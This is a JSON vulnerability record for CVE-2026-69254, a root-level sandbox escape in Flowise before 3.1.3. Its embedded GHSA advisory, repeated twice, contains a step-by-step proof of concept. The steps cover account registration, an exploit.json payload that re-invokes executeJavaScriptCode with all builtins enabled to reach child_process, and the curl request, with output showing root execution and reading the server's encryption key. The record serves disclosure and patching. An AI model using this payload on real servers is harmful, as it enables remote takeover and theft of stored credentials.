{"id":"CVE-2026-69254","aliases":["EUVD-2026-52742","GHSA-3769-jgqc-cxm7"],"status":"published","title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00691,"percentile":0.53314,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-94"],"published":"2026-08-04T15:28:49Z","modified":"2026-10-28T02:30:51Z","exploits":[{"source":"pocgithub","id":"CompleteTech-Security/flowise-cve-2026-69254-check","title":"CompleteTech-Security/flowise-cve-2026-69254-check","date":"2026-10-23","url":"https://github.com/CompleteTech-Security/flowise-cve-2026-69254-check"}],"fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.1.3"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"flowise-components","fixed_in":["3.1.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.2"},{"fixed":"3.1.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"flowise-components","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.1.2"},{"fixed":"3.1.3"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise-components","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/pull/6306","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-3769-jgqc-cxm7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69254.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69254","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-69254","title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T15:28:49.651Z","modified":"2026-08-04T17:45:10.631Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:50:16.178634Z"}],"euvd":[{"id":"EUVD-2026-52742","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T15:28:49Z","modified":"2026-08-04T17:45:10Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T18:02:22.516769Z"}],"ghsa":[{"id":"GHSA-3769-jgqc-cxm7","title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n ```typescript\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n async (code, sandbox, options = {}) =\u003e {\n const { nodeVMOptions = {} } = options;\n // ...\n const defaultNodeVMOptions = {\n require: {\n builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.\n mock: secureWrappers\n },\n eval: false,\n wasm: false\n }\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings\n const vm = new NodeVM(finalNodeVMOptions)\n }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration** \n `packages/server/src/routes/node-custom-functions/index.ts` (line 8) \n \n **Taint 02: Controller** \n `executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90) \n \n **Taint 03: Service**\n `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n \n **Taint 04: Sandbox Entry** \n Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760) \n \n **Taint 05: Escape**\n Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n \n **Taint 06: Override**\n The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }` \n \n **Taint 07: RCE** \n Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root. \n\n\n\n\n\n### PoC\n **Step 1: Start Flowise** \n \n ```bash\n docker run -d --name flowise-poc -p 3000:3000 \\\n -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\ \n flowiseai/flowise:latest \n \n # Wait ~30s for startup \n curl http://localhost:3000/api/v1/version\n # {\"version\":\"3.1.1\"} \n ``` \n \n **Step 2: Obtain Bearer Token**\n\n Register an account, then create an API key: \n \n ```bash \n # Register \n curl -s -X POST http://localhost:3000/api/v1/account/register \\\n -H \"Content-Type: application/json\" \\\n -d '{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}' \n \n # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) \n # Copy the key — this is the Bearer token used below. \n ``` \n \n **Step 3: Create Payload** \n \n ```bash\n cat \u003e exploit.json \u003c\u003c 'EOF'\n {\n \"javascriptFunction\": \"const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id \u003e /tmp/RCE-PROOF.txt\\\"); \n return cp.execSync(\\\"id\\\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\" \n } \n EOF \n ``` \n\n **Step 4: Exploit**\n\n ```bash\n # Pre-check: file does not exist\n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # ls: /tmp/RCE-PROOF.txt: No such file or directory \n \n # Execute \n curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n -H \"Content-Type: application/json\" \\ \n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -d @exploit.json \n # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\" \n \n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt \n \n docker exec flowise-poc cat /tmp/RCE-PROOF.txt \n # uid=0(root) gid=0(root) groups=0(root)... \n \n docker exec flowise-poc cat /root/.flowise/encryption.key\n # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb \n ``` \n\u003cimg width=\"1919\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc\" /\u003e\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which \n decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n access via cron jobs or reverse shells. All Flowise deployments running \u003e= 3.0.5 through 3.1.1 (latest) are affected.","status":"published","published":"2026-08-04T15:29:12Z","modified":"2026-08-04T15:29:14Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:56.852119Z"}],"nvd":[{"id":"CVE-2026-69254","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T16:16:29.243Z","modified":"2026-10-23T23:10:00.157Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-69254","title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.","status":"published","published":"2026-08-04T15:28:49.651Z","modified":"2026-10-28T02:30:51.084594098Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"GHSA-3769-jgqc-cxm7","title":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","description":"### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n ```typescript\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n async (code, sandbox, options = {}) =\u003e {\n const { nodeVMOptions = {} } = options;\n // ...\n const defaultNodeVMOptions = {\n require: {\n builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.\n mock: secureWrappers\n },\n eval: false,\n wasm: false\n }\n const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings\n const vm = new NodeVM(finalNodeVMOptions)\n }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration** \n `packages/server/src/routes/node-custom-functions/index.ts` (line 8) \n \n **Taint 02: Controller** \n `executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90) \n \n **Taint 03: Service**\n `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n \n **Taint 04: Sandbox Entry** \n Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760) \n \n **Taint 05: Escape**\n Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n \n **Taint 06: Override**\n The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }` \n \n **Taint 07: RCE** \n Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root. \n\n\n\n\n\n### PoC\n **Step 1: Start Flowise** \n \n ```bash\n docker run -d --name flowise-poc -p 3000:3000 \\\n -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\ \n flowiseai/flowise:latest \n \n # Wait ~30s for startup \n curl http://localhost:3000/api/v1/version\n # {\"version\":\"3.1.1\"} \n ``` \n \n **Step 2: Obtain Bearer Token**\n\n Register an account, then create an API key: \n \n ```bash \n # Register \n curl -s -X POST http://localhost:3000/api/v1/account/register \\\n -H \"Content-Type: application/json\" \\\n -d '{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}' \n \n # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) \n # Copy the key — this is the Bearer token used below. \n ``` \n \n **Step 3: Create Payload** \n \n ```bash\n cat \u003e exploit.json \u003c\u003c 'EOF'\n {\n \"javascriptFunction\": \"const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id \u003e /tmp/RCE-PROOF.txt\\\"); \n return cp.execSync(\\\"id\\\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\" \n } \n EOF \n ``` \n\n **Step 4: Exploit**\n\n ```bash\n # Pre-check: file does not exist\n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # ls: /tmp/RCE-PROOF.txt: No such file or directory \n \n # Execute \n curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n -H \"Content-Type: application/json\" \\ \n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -d @exploit.json \n # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\" \n \n docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt \n # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt \n \n docker exec flowise-poc cat /tmp/RCE-PROOF.txt \n # uid=0(root) gid=0(root) groups=0(root)... \n \n docker exec flowise-poc cat /root/.flowise/encryption.key\n # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb \n ``` \n\u003cimg width=\"1919\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc\" /\u003e\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which \n decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n access via cron jobs or reverse shells. All Flowise deployments running \u003e= 3.0.5 through 3.1.1 (latest) are affected.","status":"published","published":"2026-08-04T15:29:12Z","modified":"2026-08-04T15:56:02.787653Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:35.406455Z"}]}}